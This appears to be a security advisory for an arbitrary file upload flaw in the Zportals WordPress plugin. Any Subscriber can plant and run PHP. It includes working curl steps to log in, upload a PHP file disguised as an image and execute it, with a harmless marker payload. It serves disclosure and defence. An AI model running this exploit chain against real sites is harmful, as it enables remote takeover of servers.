Zportals < 6.3.4 – Subscriber+ Arbitrary File Upload | CVE 2026-14553

Description

The plugin does not properly validate uploaded files, trusting the client-supplied content type and preserving the original file extension, allowing any authenticated user (Subscriber or higher) to upload arbitrary PHP files and achieve remote code execution.

Proof of Concept

Prerequisites: any WordPress account at Subscriber level or above (self-registration is enough where open registration is on).

1. Log in as a Subscriber to obtain an authenticated session cookie:
   curl -c cookies.txt -b "wordpress_test_cookie=WP+Cookie+check" \
     -d "log=USER" -d "pwd=PASS" -d "wp-submit=Log+In" \
     -d "redirect_to=%2Fwp-admin%2F" -d "testcookie=1" \
     "https://victim.example/wp-login.php" -o /dev/null

2. Upload a PHP payload, spoofing the Content-Type header as an image:
   printf '%s' '<?php echo "ZP_RCE_".(7*7); ?>' > zp_poc.php
   curl -b cookies.txt \
     -F "action=uploadProductImage" -F "pid=1" \
     -F "file=@zp_poc.php;type=image/jpeg;filename=zp_poc.php" \
     "https://victim.example/wp-admin/admin-ajax.php"
   Response: {"status":true,"msg":"Successfully Upload Image"}

3. The file is written with its extension intact (timestamp-prefixed) under a web-served path:
   /wp-content/uploads/zportals/zp-ecomm-assets/itemimg/1/<timestamp>_zp_poc.php
   Request that URL to execute the PHP:
   curl "https://victim.example/wp-content/uploads/zportals/zp-ecomm-assets/itemimg/1/<timestamp>_zp_poc.php"
   Output: ZP_RCE_49   (7*7 evaluated server-side = arbitrary PHP execution / RCE)